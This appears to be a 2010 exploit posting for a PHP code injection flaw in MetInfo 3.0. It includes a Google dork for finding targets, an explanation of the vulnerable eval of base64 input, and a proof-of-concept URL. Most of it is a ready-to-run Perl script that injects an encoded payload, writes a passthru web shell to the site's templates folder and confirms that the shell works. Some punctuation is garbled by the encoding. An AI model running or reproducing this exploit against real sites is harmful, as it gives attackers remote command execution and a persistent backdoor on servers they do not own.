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#Exploit Title£ºMetInfo 3.0 PHP Code Injection Vulnerability
#Date:2010-10-31
#Author£ºlinux520.com
#Team£ºhttp://www.linux520.com/
#Vendor£ºhttp://www.metinfo.cn/
#Dork£º"Powered by MetInfo 3.0 " # Google: 400,000 + results
#Price£º free
#Language£ºPHP
#Greetz£ºCCAV
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+Description£º
at 67 line of ROOTPATH/include/common.inc.php:
eval(base64_decode($allclass[0]));
$allclass[0] is not defined £¬so we can inject eval php code
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+POC£ºhttp://victim.com/include/common.inc.php?allclass[0]=[base64_encode(eval php code)]
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+Exploit:
#!/usr/bin/env perl
use LWP::UserAgent;
print "################################################################\n";
print "# MetInfo 3.0 c0de inj3cti0n 3xplo!t #\n";
print "# by:linux520.com #\n";
print "################################################################\n";
die "Usage: $0 <target site> Ex:$0 victim.com\n" unless($ARGV[0]);
my $victim = $ARGV[0];
$user_agent = new LWP::UserAgent;
$vul_request = new HTTP::Request('GET',"http://$victim/include/common.inc.php?allclass[0]=ZnB1dHMoZm9wZW4oJy4uL3RlbXBsYXRlcy90ZXN0LnBocCcsJ3crJyksJzw/cGhwIHBhc3N0aHJ1KCRfR0VUW2NtZF0pPz4nKTs=");
# fputs(fopen('../templates/test.php','w+'),'<?php passthru($_GET[cmd]);?>');
$user_agent->request($vul_request);
$response = $user_agent->request(new HTTP::Request('GET',"http://$victim/templates/test.php"));
if($response->is_success)
{
print "code injection successful ! plz look at http://$victim/templates/test.php?cmd=id";
}
else
{
print "could not connect to $victim";
}
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